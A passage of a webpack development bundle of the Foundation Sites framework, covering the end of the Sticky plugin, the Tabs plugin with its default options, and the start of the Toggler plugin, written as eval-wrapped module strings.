this.$element[0].getBoundingClientRect().height || this.containerHeight;\n        newContainerHeight = this.$element.css(\"display\") === \"none\" ? 0 : newContainerHeight;\n        this.$container.css('height', newContainerHeight);\n        this.containerHeight = newContainerHeight;\n      }\n      this.elemHeight = this.containerHeight;\n      if (!this.isStuck) {\n        if (this.$element.hasClass('is-at-bottom')) {\n          var anchorPt = (this.points ? this.points[1] - this.$container.offset().top : this.anchorHeight) - this.elemHeight;\n          this.$element.css('top', anchorPt);\n        }\n      }\n      this._setBreakPoints(this.containerHeight, function () {\n        if (cb && typeof cb === 'function') {\n          cb();\n        }\n      });\n    }\n\n    /**\n     * Sets the upper and lower breakpoints for the element to become sticky/unsticky.\n     * @param {Number} elemHeight - px value for sticky.$element height, calculated by `_setSizes`.\n     * @param {Function} cb - optional callback function to be called on completion.\n     * @private\n     */\n  }, {\n    key: \"_setBreakPoints\",\n    value: function _setBreakPoints(elemHeight, cb) {\n      if (!this.canStick) {\n        if (cb && typeof cb === 'function') {\n          cb();\n        } else {\n          return false;\n        }\n      }\n      var mTop = emCalc(this.options.marginTop),\n        mBtm = emCalc(this.options.marginBottom),\n        topPoint = this.points ? this.points[0] : this.$anchor.offset().top,\n        bottomPoint = this.points ? this.points[1] : topPoint + this.anchorHeight,\n        // topPoint = this.$anchor.offset().top || this.points[0],\n        // bottomPoint = topPoint + this.anchorHeight || this.points[1],\n        winHeight = window.innerHeight;
525\n      if (this.options.stickTo === 'top') {\n        topPoint -= mTop;\n        bottomPoint -= elemHeight + mTop;\n      } else if (this.options.stickTo === 'bottom') {\n        topPoint -= winHeight - (elemHeight + mBtm);\n        bottomPoint -= winHeight - mBtm;\n      } else {\n        //this would be the stickTo: both option... tricky\n      }\n      this.topPoint = topPoint;\n      this.bottomPoint = bottomPoint;\n      if (cb && typeof cb === 'function') {\n        cb();\n      }\n    }\n\n    /**\n     * Destroys the current sticky element.\n     * Resets the element to the top position first.\n     * Removes event listeners, JS-added css properties and classes, and unwraps the $element if the JS added the $container.\n     * @function\n     */\n  }, {\n    key: \"_destroy\",\n    value: function _destroy() {\n      this._removeSticky(true);\n      this.$element.removeClass(\"\".concat(this.options.stickyClass, \" is-anchored is-at-top\")).css({\n        height: '',\n        top: '',\n        bottom: '',\n        'max-width': ''\n      }).off('resizeme.zf.trigger').off('mutateme.zf.trigger');\n      if (this.$anchor && this.$anchor.length) {\n        this.$anchor.off('change.zf.sticky');\n      }\n      if (this.scrollListener) jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(this.scrollListener);\n      if (this.onLoadListener) jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(this.onLoadListener);\n      if (this.wasWrapped) {\n        this.$element.unwrap();\n      } else {\n        this.$container.removeClass(this.options.containerClass).css({\n          height: ''\n        });\n      }\n    }\n  }]);\n  return Sticky;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__.Plugin);\nSticky.defaults = {\n  /**\n   * Customizable container template. Add your own classes for styling and sizing.\n   * @option\n   * @type {string}\n   * @default '&lt;div data-sticky-container&gt;&lt;/div&gt;'\n   */\n  container: '<div data-sticky-container></div>',\n  /**\n   * Location in the view the element sticks to. Can be `'top'` or `'bottom'`.\n   * @option\n   * @type {string}\n   * @default 'top'\n   */\n  stickTo: 'top',\n  /**\n   * If anchored to a single element, the id of that element.\n   * @option\n   * @type {string}\n   * @default ''\n   */\n  anchor: '',\n  /**\n   * If using more than one element as anchor points, the id of the top anchor.\n   * @option\n   * @type {string}\n   * @default ''\n   */\n  topAnchor: '',\n  /**\n   * If using more than one element as anchor points, the id of the bottom anchor.\n   * @option\n   * @type {string}\n   * @default ''\n   */\n  btmAnchor: '',\n  /**\n   * Margin, in `em`'s to apply to the top of the element when it becomes sticky.\n   * @option\n   * @type {number}\n   * @default 1\n   */\n  marginTop: 1,\n  /**\n   * Margin, in `em`'s to apply to the bottom of the element when it becomes sticky.\n   * @option\n   * @type {number}\n   * @default 1\n   */\n  marginBottom: 1,\n  /**\n   * Breakpoint string that is the minimum screen size an element should become sticky.\n   * @option\n   * @type {string}\n   * @default 'medium'\n   */\n  stickyOn: 'medium',\n  /**\n   * Class applied to sticky element, and removed on destruction. Foundation defaults to `sticky`.\n   * @option\n   * @type {string}\n   * @default 'sticky'\n   */\n  stickyClass: 'sticky',\n  /**\n   * Class applied to sticky container. Foundation defaults to `sticky-container`.\n   * @option\n   * @type {string}\n   * @default 'sticky-container'\n   */\n  containerClass: 'sticky-container',\n  /**\n   * If true (by default), keep the sticky container the same height as the element. Otherwise, the container height is set once and does not change.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  dynamicHeight: true,\n  /**\n   * Number of scroll events between the plugin's recalculating sticky points. Setting it to `0` will cause it to recalc every scroll event, setting it to `-1` will prevent recalc on scroll.\n   * @option\n   * @type {number}\n   * @default -1\n   */\n  checkEvery: -1\n};\n\n/**\n * Helper function to calculate em values\n * @param Number {em} - number of em's to calculate into pixels\n */\nfunction emCalc(em) {\n  return parseInt(window.getComputedStyle(document.body, null).fontSize, 10) * em;\n}\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.sticky.js?")},"./js/foundation.tabs.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Tabs: function() { return /* binding */ Tabs; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_imageLoader__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.imageLoader */ \"./js/foundation.util.imageLoader.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\");
525 return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, \"prototype\", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } else if (call !== void 0) { throw new TypeError(\"Derived constructors may only return object or undefined\"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n/**\n * Tabs module.\n * @module foundation.tabs\n * @requires foundation.util.keyboard\n * @requires foundation.util.imageLoader if tabs contain images\n */\nvar Tabs = /*#__PURE__*/function (_Plugin) {\n  _inherits(Tabs, _Plugin);\n  var _super = _createSuper(Tabs);\n  function Tabs() {\n    _classCallCheck(this, Tabs);\n    return _super.apply(this, arguments);\n  }\n  _createClass(Tabs, [{\n    key: \"_setup\",\n    value:\n    /**\n     * Creates a new instance of tabs.\n     * @class\n     * @name Tabs\n     * @fires Tabs#init\n     * @param {jQuery} element - jQuery object to make into tabs.\n     * @param {Object} options - Overrides to the default plugin settings.\n     */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, Tabs.defaults, this.$element.data(), options);\n      this.className = 'Tabs'; // ie9 back compat\n\n      this._init();\n      _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.register('Tabs', {\n        'ENTER': 'open',\n        'SPACE': 'open',\n        'ARROW_RIGHT': 'next',\n        'ARROW_UP': 'previous',\n        'ARROW_DOWN': 'next',\n        'ARROW_LEFT': 'previous'\n        // 'TAB': 'next',\n        // 'SHIFT_TAB': 'previous'\n      });\n    }\n\n    /**\n     * Initializes the tabs by showing and focusing (if autoFocus=true) the preset active tab.\n     * @private\n     */\n  }, {\n    key: \"_init\",\n    value: function _init() {\n      var _this2 = this;\n      var _this = this;\n      this._isInitializing = true;\n      this.$element.attr({\n        'role': 'tablist'\n      });\n      this.$tabTitles = this.$element.find(\".\".concat(this.options.linkClass));\n      this.$tabContent = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-tabs-content=\\\"\".concat(this.$element[0].id, \"\\\"]\"));\n      this.$tabTitles.each(function () {\n        var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n          $link = $elem.find('a'),\n          isActive = $elem.hasClass(\"\".concat(_this.options.linkActiveClass)),\n          hash = $link.attr('data-tabs-target') || $link[0].hash.slice(1),\n          linkId = $link[0].id ? $link[0].id : \"\".concat(hash, \"-label\"),\n          $tabContent = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(hash));\n        $elem.attr({\n          'role': 'presentation'\n        });\n        $link.attr({\n          'role': 'tab',\n          'aria-controls': hash,\n          'aria-selected': isActive,\n          'id': linkId,\n          'tabindex': isActive ? '0' : '-1'\n        });\n        $tabContent.attr({\n          'role': 'tabpanel',\n          'aria-labelledby': linkId\n        });\n\n        // Save up the initial hash to return to it later when going back in history\n        if (isActive) {\n          _this._initialAnchor = \"#\".concat(hash);\n        }\n        if (!isActive) {\n          $tabContent.attr('aria-hidden', 'true');\n        }\n        if (isActive && _this.options.autoFocus) {\n          _this.onLoadListener = (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.onLoad)(jquery__WEBPACK_IMPORTED_MODULE_0___default()(window), function () {\n            jquery__WEBPACK_IMPORTED_MODULE_0___default()('html, body').animate({\n              scrollTop: $elem.offset().top\n            }, _this.options.deepLinkSmudgeDelay, function () {\n              $link.focus();\n            });\n          });\n        }\n      });\n      if (this.options.matchHeight) {\n        var $images = this.$tabContent.find('img');\n        if ($images.length) {\n          (0,_foundation_util_imageLoader__WEBPACK_IMPORTED_MODULE_4__.onImagesLoaded)($images, this._setHeight.bind(this));\n        } else {\n          this._setHeight();\n        }\n      }\n\n      // Current context-bound function to open tabs on page load or history hashchange\n      this._checkDeepLink = function () {\n        var anchor = window.location.hash;\n        if (!anchor.length) {\n          // If we are still initializing and there is no anchor, then there is nothing to do\n          if (_this2._isInitializing) return;\n          // Otherwise, move to the initial anchor\n          if (_this2._initialAnchor) anchor = _this2._initialAnchor;\n        }\n        var anchorNoHash = anchor.indexOf('#') >= 0 ? anchor.slice(1) : anchor;\n        var $anchor = anchorNoHash && jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(anchorNoHash));\n        var $link = anchor && _this2.$element.find(\"[href$=\\\"\".concat(anchor, \"\\\"],[data-tabs-target=\\\"\").concat(anchorNoHash, \"\\\"]\")).first();
525\n        // Whether the anchor element that has been found is part of this element\n        var isOwnAnchor = !!($anchor.length && $link.length);\n        if (isOwnAnchor) {\n          // If there is an anchor for the hash, select it\n          if ($anchor && $anchor.length && $link && $link.length) {\n            _this2.selectTab($anchor, true);\n          }\n          // Otherwise, collapse everything\n          else {\n            _this2._collapse();\n          }\n\n          // Roll up a little to show the titles\n          if (_this2.options.deepLinkSmudge) {\n            var offset = _this2.$element.offset();\n            jquery__WEBPACK_IMPORTED_MODULE_0___default()('html, body').animate({\n              scrollTop: offset.top - _this2.options.deepLinkSmudgeOffset\n            }, _this2.options.deepLinkSmudgeDelay);\n          }\n\n          /**\n           * Fires when the plugin has deeplinked at pageload\n           * @event Tabs#deeplink\n           */\n          _this2.$element.trigger('deeplink.zf.tabs', [$link, $anchor]);\n        }\n      };\n\n      //use browser to open a tab, if it exists in this tabset\n      if (this.options.deepLink) {\n        this._checkDeepLink();\n      }\n      this._events();\n      this._isInitializing = false;\n    }\n\n    /**\n     * Adds event handlers for items within the tabs.\n     * @private\n     */\n  }, {\n    key: \"_events\",\n    value: function _events() {\n      this._addKeyHandler();\n      this._addClickHandler();\n      this._setHeightMqHandler = null;\n      if (this.options.matchHeight) {\n        this._setHeightMqHandler = this._setHeight.bind(this);\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on('changed.zf.mediaquery', this._setHeightMqHandler);\n      }\n      if (this.options.deepLink) {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on('hashchange', this._checkDeepLink);\n      }\n    }\n\n    /**\n     * Adds click handlers for items within the tabs.\n     * @private\n     */\n  }, {\n    key: \"_addClickHandler\",\n    value: function _addClickHandler() {\n      var _this = this;\n      this.$element.off('click.zf.tabs').on('click.zf.tabs', \".\".concat(this.options.linkClass), function (e) {\n        e.preventDefault();\n        _this._handleTabChange(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n      });\n    }\n\n    /**\n     * Adds keyboard event handlers for items within the tabs.\n     * @private\n     */\n  }, {\n    key: \"_addKeyHandler\",\n    value: function _addKeyHandler() {\n      var _this = this;\n      this.$tabTitles.off('keydown.zf.tabs').on('keydown.zf.tabs', function (e) {\n        if (e.which === 9) return;\n        var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n          $elements = $element.parent('ul').children('li'),\n          $prevElement,\n          $nextElement;\n        $elements.each(function (i) {\n          if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n            if (_this.options.wrapOnKeys) {\n              $prevElement = i === 0 ? $elements.last() : $elements.eq(i - 1);\n              $nextElement = i === $elements.length - 1 ? $elements.first() : $elements.eq(i + 1);\n            } else {\n              $prevElement = $elements.eq(Math.max(0, i - 1));\n              $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1));\n            }\n            return;\n          }\n        });\n\n        // handle keyboard event with keyboard util\n        _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.handleKey(e, 'Tabs', {\n          open: function open() {\n            $element.find('[role=\"tab\"]').focus();\n            _this._handleTabChange($element);\n          },\n          previous: function previous() {\n            $prevElement.find('[role=\"tab\"]').focus();\n            _this._handleTabChange($prevElement);\n          },\n          next: function next() {\n            $nextElement.find('[role=\"tab\"]').focus();\n            _this._handleTabChange($nextElement);\n          }
525,\n          handled: function handled() {\n            e.preventDefault();\n          }\n        });\n      });\n    }\n\n    /**\n     * Opens the tab `$targetContent` defined by `$target`. Collapses active tab.\n     * @param {jQuery} $target - Tab to open.\n     * @param {boolean} historyHandled - browser has already handled a history update\n     * @fires Tabs#change\n     * @function\n     */\n  }, {\n    key: \"_handleTabChange\",\n    value: function _handleTabChange($target, historyHandled) {\n      // With `activeCollapse`, if the target is the active Tab, collapse it.\n      if ($target.hasClass(\"\".concat(this.options.linkActiveClass))) {\n        if (this.options.activeCollapse) {\n          this._collapse();\n        }\n        return;\n      }\n      var $oldTab = this.$element.find(\".\".concat(this.options.linkClass, \".\").concat(this.options.linkActiveClass)),\n        $tabLink = $target.find('[role=\"tab\"]'),\n        target = $tabLink.attr('data-tabs-target'),\n        anchor = target && target.length ? \"#\".concat(target) : $tabLink[0].hash,\n        $targetContent = this.$tabContent.find(anchor);\n\n      //close old tab\n      this._collapseTab($oldTab);\n\n      //open new tab\n      this._openTab($target);\n\n      //either replace or update browser history\n      if (this.options.deepLink && !historyHandled) {\n        if (this.options.updateHistory) {\n          history.pushState({}, '', anchor);\n        } else {\n          history.replaceState({}, '', anchor);\n        }\n      }\n\n      /**\n       * Fires when the plugin has successfully changed tabs.\n       * @event Tabs#change\n       */\n      this.$element.trigger('change.zf.tabs', [$target, $targetContent]);\n\n      //fire to children a mutation event\n      $targetContent.find(\"[data-mutate]\").trigger(\"mutateme.zf.trigger\");\n    }\n\n    /**\n     * Opens the tab `$targetContent` defined by `$target`.\n     * @param {jQuery} $target - Tab to open.\n     * @function\n     */\n  }, {\n    key: \"_openTab\",\n    value: function _openTab($target) {\n      var $tabLink = $target.find('[role=\"tab\"]'),\n        hash = $tabLink.attr('data-tabs-target') || $tabLink[0].hash.slice(1),\n        $targetContent = this.$tabContent.find(\"#\".concat(hash));\n      $target.addClass(\"\".concat(this.options.linkActiveClass));\n      $tabLink.attr({\n        'aria-selected': 'true',\n        'tabindex': '0'\n      });\n      $targetContent.addClass(\"\".concat(this.options.panelActiveClass)).removeAttr('aria-hidden');\n    }\n\n    /**\n     * Collapses `$targetContent` defined by `$target`.\n     * @param {jQuery} $target - Tab to collapse.\n     * @function\n     */\n  }, {\n    key: \"_collapseTab\",\n    value: function _collapseTab($target) {\n      var $targetAnchor = $target.removeClass(\"\".concat(this.options.linkActiveClass)).find('[role=\"tab\"]').attr({\n        'aria-selected': 'false',\n        'tabindex': -1\n      });\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat($targetAnchor.attr('aria-controls'))).removeClass(\"\".concat(this.options.panelActiveClass)).attr({\n        'aria-hidden': 'true'\n      });\n    }\n\n    /**\n     * Collapses the active Tab.\n     * @fires Tabs#collapse\n     * @function\n     */\n  }, {\n    key: \"_collapse\",\n    value: function _collapse() {\n      var $activeTab = this.$element.find(\".\".concat(this.options.linkClass, \".\").concat(this.options.linkActiveClass));\n      if ($activeTab.length) {\n        this._collapseTab($activeTab);\n\n        /**\n        * Fires when the plugin has successfully collapsed tabs.\n        * @event Tabs#collapse\n        */\n        this.$element.trigger('collapse.zf.tabs', [$activeTab]);\n      }\n    }\n\n    /**\n     * Public method for selecting a content pane to display.\n     * @param {jQuery | String} elem - jQuery object or string of the id of the pane to display.\n     * @param {boolean} historyHandled - browser has already handled a history update\n     * @function\n     */\n  }, {\n    key: \"selectTab\",\n    value: function selectTab(elem, historyHandled) {\n      var idStr, hashIdStr;\n      if (_typeof(elem) === 'object') {\n        idStr = elem[0].id;\n      } else {\n        idStr = elem;\n      }\n      if (idStr.indexOf('#') < 0) {\n        hashIdStr = \"#\".concat(idStr);\n      } else {\n        hashIdStr = idStr;\n        idStr = idStr.slice(1);\n      }\n      var $target = this.$tabTitles.has(\"[href$=\\\"\".concat(hashIdStr, \"\\\"],[data-tabs-target=\\\"\").concat(idStr, \"\\\"]\")).first();\n      this._handleTabChange($target, historyHandled);\n    }\n  }, {\n    key: \"_setHeight\",\n    value:\n    /**\n     * Sets the height of each panel to the height of the tallest panel.\n     * If enabled in options, gets called on media query change.\n     * If loading content via external source, can be called directly or with _reflow.\n     * If enabled with `data-match-height=\"true\"`, tabs sets to equal height\n     * @function\n     * @private\n     */\n    function _setHeight() {\n      var max = 0,\n        _this = this; // Lock down the `this` value for the root tabs object\n\n      if (!this.$tabContent) {\n        return;\n      }\n      this.$tabContent.find(\".\".concat(this.options.panelClass)).css('min-height', '').each(function () {\n        var panel = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n          isActive = panel.hasClass(\"\".concat(_this.options.panelActiveClass)); // get the options from the parent instead of trying to get them from the child\n\n        if (!isActive) {\n          panel.css({\n            'visibility': 'hidden',\n            'display': 'block'\n          });\n        }\n        var temp = this.getBoundingClientRect().height;\n        if (!isActive) {\n          panel.css({\n            'visibility': '',\n            'display': ''\n          });\n        }\n        max = temp > max ? temp : max;\n      }).css('min-height', \"\".concat(max, \"px\"));\n    }\n\n    /**\n     * Destroys an instance of tabs.\n     * @fires Tabs#destroyed\n     */\n  }, {\n    key: \"_destroy\",\n    value: function _destroy() {\n      this.$element.find(\".\".concat(this.options.linkClass)).off('.zf.tabs').hide().end().find(\".\".concat(this.options.panelClass)).hide();\n      if (this.options.matchHeight) {\n        if (this._setHeightMqHandler != null) {\n          jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('changed.zf.mediaquery', this._setHeightMqHandler);\n        }\n      }
525\n      if (this.options.deepLink) {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('hashchange', this._checkDeepLink);\n      }\n      if (this.onLoadListener) {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(this.onLoadListener);\n      }\n    }\n  }]);\n  return Tabs;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__.Plugin);\nTabs.defaults = {\n  /**\n   * Link the location hash to the active pane.\n   * Set the location hash when the active pane changes, and open the corresponding pane when the location changes.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  deepLink: false,\n  /**\n   * If `deepLink` is enabled, adjust the deep link scroll to make sure the top of the tab panel is visible\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  deepLinkSmudge: false,\n  /**\n   * If `deepLinkSmudge` is enabled, animation time (ms) for the deep link adjustment\n   * @option\n   * @type {number}\n   * @default 300\n   */\n  deepLinkSmudgeDelay: 300,\n  /**\n   * If `deepLinkSmudge` is enabled, animation offset from the top for the deep link adjustment\n   * @option\n   * @type {number}\n   * @default 0\n   */\n  deepLinkSmudgeOffset: 0,\n  /**\n   * If `deepLink` is enabled, update the browser history with the open tab\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  updateHistory: false,\n  /**\n   * Allows the window to scroll to content of active pane on load.\n   * Not recommended if more than one tab panel per page.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  autoFocus: false,\n  /**\n   * Allows keyboard input to 'wrap' around the tab links.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  wrapOnKeys: true,\n  /**\n   * Allows the tab content panes to match heights if set to true.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  matchHeight: false,\n  /**\n   * Allows active tabs to collapse when clicked.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  activeCollapse: false,\n  /**\n   * Class applied to `li`'s in tab link list.\n   * @option\n   * @type {string}\n   * @default 'tabs-title'\n   */\n  linkClass: 'tabs-title',\n  /**\n   * Class applied to the active `li` in tab link list.\n   * @option\n   * @type {string}\n   * @default 'is-active'\n   */\n  linkActiveClass: 'is-active',\n  /**\n   * Class applied to the content containers.\n   * @option\n   * @type {string}\n   * @default 'tabs-panel'\n   */\n  panelClass: 'tabs-panel',\n  /**\n   * Class applied to the active content container.\n   * @option\n   * @type {string}\n   * @default 'is-active'\n   */\n  panelActiveClass: 'is-active'\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.tabs.js?")},"./js/foundation.toggler.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Toggler: function() { return /* binding */ Toggler; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.triggers */ "./js/foundation.util.triggers.js");\nfunction _typeof(obj) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, "prototype", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, "string");
525 return _typeof(key) === "symbol" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== "object" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || "default"); if (_typeof(res) !== "object") return res; throw new TypeError("@@toPrimitive must return a primitive value."); } return (hint === "string" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, "prototype", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } else if (call !== void 0) { throw new TypeError("Derived constructors may only return object or undefined"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n/**\n * Toggler module.\n * @module foundation.toggler\n * @requires foundation.util.motion\n * @requires foundation.util.triggers\n */\nvar Toggler = /*#__PURE__*/function (_Plugin) {\n  _inherits(Toggler, _Plugin);\n  var _super = _createSuper(Toggler);\n  function Toggler() {\n    _classCallCheck(this, Toggler);\n    return _super.apply(this, arguments);\n  }\n  _createClass(Toggler, [{\n    key: "_setup",\n    value:\n    /**\n     * Creates a new instance of Toggler.\n     * @class\n     * @name Toggler\n     * @fires Toggler#init\n     * @param {Object} element - jQuery object to add the trigger to.\n     * @param {Object} options - Overrides to the 